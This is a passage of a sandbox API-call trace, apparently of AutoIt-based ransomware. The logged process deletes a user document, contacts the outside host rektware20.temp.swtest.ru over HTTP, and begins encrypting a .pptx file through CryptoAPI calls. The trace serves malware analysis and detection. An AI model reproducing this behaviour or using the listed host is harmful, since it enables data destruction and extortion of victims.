(in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.018] CloseHandle (hObject=0x3bc) returned 1 [0073.020] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.022] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.022] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", lpFilePart=0x0) returned 0x39 [0073.023] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\krbduavrp.docx")) returned 0x20 [0073.023] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c9f0 [0073.023] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\KRbDuaVRP.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\krbduavrp.docx")) returned 1 [0073.058] FindNextFileW (in: hFindFile=0x164c9f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0073.059] FindClose (in: hFindFile=0x164c9f0 | out: hFindFile=0x164c9f0) returned 1 [0073.059] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.059] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.059] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.059] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.059] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0073.060] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0073.060] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.060] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0073.060] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.060] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0073.060] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0073.060] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d90, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d90, lpdwBufferLength=0x130ef8c) returned 1 [0073.060] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.060] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.061] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.073] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0073.073] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0073.073] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0073.073] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0073.073] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0073.073] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.074] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.074] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.074] CloseHandle (hObject=0x0) returned 0 [0073.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.074] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.075] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nmPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mPT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PT40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="40AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.076] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AWK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.077] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WK48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.077] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="K48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.077] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="48rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.077] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.077] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rx.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.077] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.077] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0073.077] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.077] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.077] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.077] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0073.077] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.077] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0073.077] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0073.077] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.077] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0073.078] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0073.078] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c) returned 1 [0073.078] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.078] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.078] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.078] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0073.078] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0073.079] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0073.079] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0073.079] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0073.079] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.079] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.079] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.079] CloseHandle (hObject=0x0) returned 0 [0073.079] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.080] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\nmPT40AWK48rx.pptx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d130 [0073.080] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0073.080] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.080] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.080] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.080] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.080] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.080] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.080] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0073.081] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.081] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.081] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0073.081] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.081] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.081] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.081] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.081] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.081] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0073.081] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0073.082] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0073.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0073.082] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0073.082] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aac48) returned 1 [0073.083] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.083] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.083] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0073.083] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.083] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.083] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.083] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.105] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.105] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.105] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.105] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.105] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.105] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 